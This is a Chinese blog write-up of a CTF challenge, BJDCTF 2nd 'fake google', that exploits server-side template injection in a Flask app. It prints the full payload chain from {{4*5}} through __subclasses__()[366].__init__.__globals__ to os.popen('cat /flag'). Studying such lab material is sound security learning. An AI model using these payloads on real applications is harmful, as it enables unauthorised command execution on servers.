zoukankan      html  css  js  c++  java
  • [BJDCTF 2nd]fake google

    前面我们学习了模板注入,那也对模板注入有所了解,所以说要趁热打铁起来,赶紧整份题做做,在buu上面发现了这道题

    首先打开靶机,进入环境

     是这样一界面,那我们随便输入个东西,123456

     回显出这样,那我们再测试一下,看看是否真的存在模板注入,输入 {{4*5}} ,看看这次回显的是什么

     被当作表达式运行了,果断模板注入

    先找出所有的类

     ?name={{"".__class__.__mro__[1].__subclasses__()}} 

     这就都出来了,然后我们就需要找出里面包含os的模块。利用刚才使用的脚本,跑一下就可以得出来。这里就不予以展示了。

    找出来之后

     有这么几个,然后我们再从中找出可执行命令来

     ?name={{"".__class__.__mro__[1].__subclasses__()[366].__init__.__globals__}} 

    ?name={{"".__class__.__mro__[1].__subclasses__()[366].__init__.__globals__['__builtins__']['__import__']('os').popen("cat /flag").read()}}

    从而拿到flag

     此题与我们上个文章讲的是一样,不明白可以再去参考一下flask之ssti模板注入这篇文章

  • 相关阅读:
    寻找jar包的方法
    mysql使用小技巧
    JavaSe基础知识总结
    JavaScript进阶和JQuery入门
    Day03 JavaScript入门
    Day02 CSS样式
    Day01-HTML
    Redis详解
    关于开发的包
    关于.Net WebAPI数据认证(包括登陆认证、模型认证)
  • 原文地址:https://www.cnblogs.com/awsole/p/14589896.html
Copyright © 2011-2022 走看看